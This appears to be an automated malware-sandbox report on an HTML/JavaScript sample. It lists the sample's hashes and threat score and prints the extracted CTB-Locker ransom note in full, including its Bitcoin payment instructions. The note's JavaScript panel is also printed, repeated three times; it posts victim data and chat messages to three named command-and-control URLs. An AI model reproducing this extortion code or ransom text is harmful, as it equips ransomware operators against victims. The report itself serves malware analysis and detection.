General

  • Target

    30060c125dbea17fe06f51621910ad54_JaffaCakes118

  • Size

    11KB

  • MD5

    30060c125dbea17fe06f51621910ad54

  • SHA1

    7e0fad6f7465d427b406c32244c7ab4b8cc333b1

  • SHA256

    0ceb1c253d0ebd8f9976a0413ffae7b111d2116d7049f0c9cf05d50c37dd0ec5

  • SHA512

    b2f1cc2701231364deea8784e089f3fe0f62015741c4479d4955077239273c1926976dcb873df96de66d7a174908d4d64ff9b927f433e5b0614e87a6bee048a6

  • SSDEEP

    192:EhyRntP202zBrQN/rr7QgbKoyiJk7+XO3dnQKdmLekRmr3z:dpd206yNzdAiJ4+XO3VQAeRQ

Score
10/10

Malware Config

Extracted

Ransom Note
Index Free decrypt Chat Attention! What happened? Your personal files are encrypted by CTB-Locker . Your scripts, documents, photos, databases and other important files have been encrypted with strongest encryption algorithm AES-256 and unique key, generated for this site. Decryption key is stored on a secret Internet server and nobody can decrypt your files until you pay and obtain the decryption key. Learn more about the algorithm can be here: Wikipedia Fbi's advice on cryptolocker just pay the ransom What to do? We created for you this bitcoin address What is a Bitcoin address? For decrypt your files you need to make a few simple steps: 1. Get cryptocurrency Bitcoin We recommend: 1) https://localbitcoins.com/ - (Paypal, Visa/MasterCard, QIWI Wallet, Any Bank and etc.) 2) Buying Bitcoins (the newbie version) 3) A complete list of exchanges! 4) https://btc-e.com/ (OkPay, Perfect Money, Visa/MasterCard and etc.) 5) https://www.okcoin.com/ 2. Send (~150$) to the address 3. After payment, confirmation is expected within from 15 minutes to 3 hours. You can track confirmations of your transaction in https://blockchain.info/address/13DtNcWQESxkAADsotDvuf3yCUC1P2FDcm 4. Click button: DECRYPT You must carry out this actions before: 2016-02-22 13:00:00 At the expiry of the time redemption amount will be . Please make payment in a timely. Dangerous! Do not try to cheat the system, edit encrypted files, edit CTB-locker internal files or delete any file. This will result in the inability to recover your data, and we can not help you. Only way to keep your files is to follow the instruction. admins = ["http://farini.org/access.php", "http://lawyerpublicity.com/access.php", "http://orangecountyplasterandstucco.com/access.php"]; iadmin = 0; domain = encodeURIComponent(window.location.href.replace('http://', '').replace('https://', '').split('/')[0]); function post_admin(postdata, onsuccess) { $.post(admins[iadmin], postdata+"&domain="+domain, function (data) { if (data["status"] == "success") { onsuccess(data); } else { alert(data["status"]); } }, 'json' ).fail(function() { alert(iadmin >= 2 ? 'It seems like our server is down=( Try to push it again' : 'Push it again'); iadmin = (iadmin + 1) % 3; }); } $('#decrypt').click(function() { post_admin("decrypt=", function(data) { alert('Your decryption key is ' + data["decrypt"] + '! Wait while page will be updated!'); url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?'); window.location.href = url + 'decrypt=' + data["decrypt"] + '&secret=' + data["secret"] + '&dectest=' + data["dectest"]; }); }); $('#dectest').click(function() { post_admin("dectest=&secret="+($("#secret").val()), function(data) { alert('Your test decryption key is ' + data["dectest"] + '! Wait while page will be updated!'); url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?'); window.location.href = url + 'dectest=' + data["dectest"] + '&secret=' + data["secret"]; }); }); $('#sendmsg').click(function() { msg = "&msg=" + encodeURIComponent($("#chatmsg").val()); post_admin("sendmsg=&secret="+$("#secret").val()+msg, function(data) { alert('Thank you for feedback!'); }); }); $('#recvmsg').click(function() { post_admin("recvmsg=&secret="+$("#secret").val(), function(data) { $("#chatmsg").val(data["answer"]); }); }); admins = ["http://farini.org/access.php", "http://lawyerpublicity.com/access.php", "http://orangecountyplasterandstucco.com/access.php"]; iadmin = 0; domain = encodeURIComponent(window.location.href.replace('http://', '').replace('https://', '').split('/')[0]); function post_admin(postdata, onsuccess) { $.post(admins[iadmin], postdata+"&domain="+domain, function (data) { if (data["status"] == "success") { onsuccess(data); } else { alert(data["status"]); } }, 'json' ).fail(function() { alert(iadmin >= 2 ? 'It seems like our server is down=( Try to push it again' : 'Push it again'); iadmin = (iadmin + 1) % 3; }); } $('#decrypt').click(function() { post_admin("decrypt=", function(data) { alert('Your decryption key is ' + data["decrypt"] + '! Wait while page will be updated!'); url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?'); window.location.href = url + 'decrypt=' + data["decrypt"] + '&secret=' + data["secret"] + '&dectest=' + data["dectest"]; }); }); $('#dectest').click(function() { post_admin("dectest=&secret="+($("#secret").val()), function(data) { alert('Your test decryption key is ' + data["dectest"] + '! Wait while page will be updated!'); url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?'); window.location.href = url + 'dectest=' + data["dectest"] + '&secret=' + data["secret"]; }); }); $('#sendmsg').click(function() { msg = "&msg=" + encodeURIComponent($("#chatmsg").val()); post_admin("sendmsg=&secret="+$("#secret").val()+msg, function(data) { alert('Thank you for feedback!'); }); }); $('#recvmsg').click(function() { post_admin("recvmsg=&secret="+$("#secret").val(), function(data) { $("#chatmsg").val(data["answer"]); }); }); admins = ["http://farini.org/access.php", "http://lawyerpublicity.com/access.php", "http://orangecountyplasterandstucco.com/access.php"]; iadmin = 0; domain = encodeURIComponent(window.location.href.replace('http://', '').replace('https://', '').split('/')[0]); function post_admin(postdata, onsuccess) { $.post(admins[iadmin], postdata+"&domain="+domain, function (data) { if (data["status"] == "success") { onsuccess(data); } else { alert(data["status"]); } }, 'json' ).fail(function() { alert(iadmin >= 2 ? 'It seems like our server is down=( Try to push it again' : 'Push it again'); iadmin = (iadmin + 1) % 3; }); } $('#decrypt').click(function() { post_admin("decrypt=", function(data) { alert('Your decryption key is ' + data["decrypt"] + '! Wait while page will be updated!'); url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?'); window.location.href = url + 'decrypt=' + data["decrypt"] + '&secret=' + data["secret"] + '&dectest=' + data["dectest"]; }); }); $('#dectest').click(function() { post_admin("dectest=&secret="+($("#secret").val()), function(data) { alert('Your test decryption key is ' + data["dectest"] + '! Wait while page will be updated!'); url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?'); window.location.href = url + 'dectest=' + data["dectest"] + '&secret=' + data["secret"]; }); }); $('#sendmsg').click(function() { msg = "&msg=" + encodeURIComponent($("#chatmsg").val()); post_admin("sendmsg=&secret="+$("#secret").val()+msg, function(data) { alert('Thank you for feedback!'); }); }); $('#recvmsg').click(function() { post_admin("recvmsg=&secret="+$("#secret").val(), function(data) { $("#chatmsg").val(data["answer"]); }); });
URLs

https://btc-e.com/

https://www.okcoin.com/

Signatures

Files

  • 30060c125dbea17fe06f51621910ad54_JaffaCakes118
    .html .js polyglot